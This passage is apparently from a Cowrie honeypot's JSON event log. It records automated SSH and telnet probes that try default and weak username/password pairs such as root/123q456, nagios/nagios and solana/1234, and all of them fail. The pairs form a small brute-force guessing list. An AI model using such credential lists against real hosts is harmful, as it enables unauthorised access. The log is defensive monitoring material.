-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:59.089074Z","src_ip":"91.92.42.133","session":"09a705a75bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:00.580316Z","src_ip":"91.92.42.133","session":"09a705a75bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:01.691512Z","src_ip":"91.92.42.133","session":"09a705a75bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.227.26.85","src_port":58628,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5fdff92649f","protocol":"telnet","message":"New connection: 115.227.26.85:58628 (10.17.0.5:23) [session: e5fdff92649f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:05.618231Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55334,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfbba49a68e4","protocol":"ssh","message":"New connection: 91.92.42.133:55334 (159.203.135.109:22) [session: cfbba49a68e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:06.668121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:06.767303Z","src_ip":"91.92.42.133","session":"cfbba49a68e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:06.770037Z","src_ip":"91.92.42.133","session":"cfbba49a68e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"123456","message":"login attempt [ai/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:07.336133Z","src_ip":"91.92.42.133","session":"cfbba49a68e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":57932,"dst_ip":"10.17.0.5","dst_port":22,"session":"aae17d277397","protocol":"ssh","message":"New connection: 103.82.20.28:57932 (10.17.0.5:22) [session: aae17d277397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:07.673015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:07.681251Z","src_ip":"103.82.20.28","session":"aae17d277397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:07.944736Z","src_ip":"103.82.20.28","session":"aae17d277397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:08.588526Z","src_ip":"91.92.42.133","session":"cfbba49a68e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123q456","message":"login attempt [root/123q456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:08.737524Z","src_ip":"103.82.20.28","session":"aae17d277397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:10.004333Z","src_ip":"103.82.20.28","session":"aae17d277397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":48108,"dst_ip":"10.17.0.5","dst_port":22,"session":"8633ef76a9ac","protocol":"ssh","message":"New connection: 45.140.193.156:48108 (10.17.0.5:22) [session: 8633ef76a9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:10.031091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:10.038348Z","src_ip":"45.140.193.156","session":"8633ef76a9ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:10.150624Z","src_ip":"45.140.193.156","session":"8633ef76a9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"Passw0rd","message":"login attempt [webuser/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:10.633112Z","src_ip":"45.140.193.156","session":"8633ef76a9ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:11.753077Z","src_ip":"45.140.193.156","session":"8633ef76a9ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55378,"dst_ip":"159.203.135.109","dst_port":22,"session":"69b806b36e80","protocol":"ssh","message":"New connection: 91.92.42.133:55378 (159.203.135.109:22) [session: 69b806b36e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:13.792288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:14.034854Z","src_ip":"91.92.42.133","session":"69b806b36e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:14.037942Z","src_ip":"91.92.42.133","session":"69b806b36e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:15.018486Z","src_ip":"91.92.42.133","session":"69b806b36e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:16.225550Z","src_ip":"91.92.42.133","session":"69b806b36e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60804,"dst_ip":"159.203.135.109","dst_port":22,"session":"d61106ecc97e","protocol":"ssh","message":"New connection: 91.92.42.133:60804 (159.203.135.109:22) [session: d61106ecc97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:21.491694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:21.538659Z","src_ip":"91.92.42.133","session":"d61106ecc97e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:21.622178Z","src_ip":"91.92.42.133","session":"d61106ecc97e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:22.292200Z","src_ip":"91.92.42.133","session":"d61106ecc97e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:23.529662Z","src_ip":"91.92.42.133","session":"d61106ecc97e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33950,"dst_ip":"159.203.135.109","dst_port":22,"session":"05a0026bc81a","protocol":"ssh","message":"New connection: 91.92.42.133:33950 (159.203.135.109:22) [session: 05a0026bc81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:28.821701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:28.839118Z","src_ip":"91.92.42.133","session":"05a0026bc81a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:29.081004Z","src_ip":"91.92.42.133","session":"05a0026bc81a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:29.471922Z","src_ip":"91.92.42.133","session":"05a0026bc81a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:30.574872Z","src_ip":"91.92.42.133","session":"05a0026bc81a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53843879699707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:36.156527Z","src_ip":"115.227.26.85","session":"e5fdff92649f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38784,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1e380888aa1","protocol":"ssh","message":"New connection: 91.92.42.133:38784 (159.203.135.109:22) [session: a1e380888aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:36.253661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:36.368673Z","src_ip":"91.92.42.133","session":"a1e380888aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:36.371854Z","src_ip":"91.92.42.133","session":"a1e380888aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"1","message":"login attempt [root1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:37.234910Z","src_ip":"91.92.42.133","session":"a1e380888aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:38.544105Z","src_ip":"91.92.42.133","session":"a1e380888aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38828,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8f582841810","protocol":"ssh","message":"New connection: 91.92.42.133:38828 (159.203.135.109:22) [session: a8f582841810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:43.479227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:43.662161Z","src_ip":"91.92.42.133","session":"a8f582841810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:43.665128Z","src_ip":"91.92.42.133","session":"a8f582841810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:45.371917Z","src_ip":"91.92.42.133","session":"a8f582841810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:46.616583Z","src_ip":"91.92.42.133","session":"a8f582841810","protocol":"ssh"}
